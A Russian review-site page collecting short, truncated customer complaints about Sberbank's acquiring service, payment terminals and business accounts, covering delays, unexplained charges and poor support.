Проверяется

Оценка:
1

Оценка:
1

Проверяется

Оплатил 18го числа (день указан в графике платежей) недостающую сумму погашение по за должности кредита деньги списались и начислили неустойку а просрочки кредита нет ? Круто у Трех вокзалов в 90е честнее было! (нет не суммы неустойки ни основания , денег заранее перечислил больше, сняли  все в ноль и еще должен)
Банк оплату налога по НДС платежку может легко  не выполнить а списать средства в свою пользу. 
..
Читать далее

Оценка:
1

Оценка:
1

Проверяется

Уважаемый Сбербанк! У меня нет слов от работы с Вами! Сначала удержали % которые не имели право удержать. Писала в поддержку (сообщили что возместят) и тишина. Ничего не сделали. Далее писала похожее обращение еще по другой транзакции (ожидайте и тишина) В итоге делала отмену платежа на сумму 11900 ( на следующий день мне эти денежные средства поступили на рс) с удержанием комиссии Банка!!! Позвонив в банк – опять направили писать очередное…
Читать далее

Оценка:
5

Не засчитана

Оценка:
1

Оценка:
1

Сегодня должный были сменить терминал на тот, который идет от кассы, вместо автономного, пришел “специалист” сделал замену и убежал, но ПО не работает с бифит кассой, в поддержке Бифит, сказали, что “специалист” не установил кусок ПО, который нужен для синхронизации кассы и терминала и по факту сейчас и безнал не работает и касса его не видит. Т.к. касса работает с даннной моделью терминала,  а именно, PAX ps30, то проблем с их стороны нет…
Читать далее

Оценка:
5

Не засчитана

Оценка:
1

Открыл вообщем ип, нужно открывать счёт в банке, по советам всех, все не советовали открывать счёт в сбере, но выбора у меня не было к сожалению, только сбер. Подумал стоившее будет ок. НО! Это же Сбербанк, открыли счёт все норм, и дальше началось самое интересное, договор эквайринга заключить смогли мы только с 3 раза, и то, после того как начал возмущаться! Так как уже 2 недели прошло, а тот банка тишина.

Вообщем рассказывать очень…
Читать далее

Без оценки

Оценка:
1

Не рекомендую молодого человека из отдела эквайринга в г.Пенза ул.Суворова. Наглый хамоватый человек, с которым неприятно общаться! 
Персональность обслуживания в банке только на словах. Фактически, звонит на личный телефон этот “персональный” менеджер, не владея ситуацией, предлагает оставить заявку на эквайринг (замечу, заявка была оставлена в интернет-банке двумя днями ранее, даже отклонена), консультация отвратительная, для галочки…
Читать далее

Оценка:
1

Оценка:
1

Не засчитана

Оценка:
1

Не засчитана

Оценка:
1

Оценка:
2

В мае текущего года обратился в Сбер, чтобы взять в аренду кассовый терминал на автомойку.  Ежемесячно банк взимал арендную плату в размере 2000р.  В августе мною было принято решение автомойку закрыть, я позвонил в контактный центр, чтобы терминал вернуть. Спустя две недели со мной так никто и не связался, терминал до сих пор у меня, арендная плата начисляется. Зато мне пришло сообщение: “Уважаемый клиент, Ваше обращение в Службу…
Читать далее

Оценка:
1

Не засчитана

Столкнулся с ситуацией. Окрыли счет в сбербанк. Подключили к маретплейсу Юкасса (продукт сбера), но нас не устроили тарифы. Решили подключить сбербанк эквайринг, 3 недели они тянули с подключением, потом звонит менеджер говорит, нам отказано в подключении, якобы у нас запрещенные товары на сайте, а точнее конопляное масло, каши и другие продукты правильного питания. Конопля запрещена у них. Хотя эти же продукты продаются на СберМегаМаркет…
Читать далее

Оценка:
1

Оценка:
5

Не засчитана

Оценка:
1

обратились в банк для открытия ип и подключения кассы и эквайринга, прошло две недели, ип счёт открыли, кассы нет, понимания когда будет нет, постоянно говорят ждите, каждый раз новый менеджер, который даже не имеет определителя номера, что бы не задавать один и тот же вопрос а вы кто??? и просить инн данные паспорта и тд. , в рекламме обещают чуть ли не за три дня все под ключ, на деле не делают, вводят людей в заблуждение получается, при звонке…
Читать далее

Оценка:
1

Я устала от некомпетентных сотрудников этого банка, которые не хотят разбираться, футболят меня от менеджера к менеджеру, с линии по работе с физ.лицами на линию юр.лиц и обратно, разводят руками и отвечают “странно”, “я не знаю, как так получилось”,  “должны были вернуться, но не вернулись, почему не понятно”, “попробуйте обратиться туда / попробуйте обратиться сюда” и т.д. и т.п.

Ситуация следующая:
Я заключила договор эквайринга…
Читать далее

1 Звезда2 Звезды3 Звезды4 Звезды5 Звезд (Пока оценок нет)
Загрузка...

Оставьте комментарий

Adblock
detector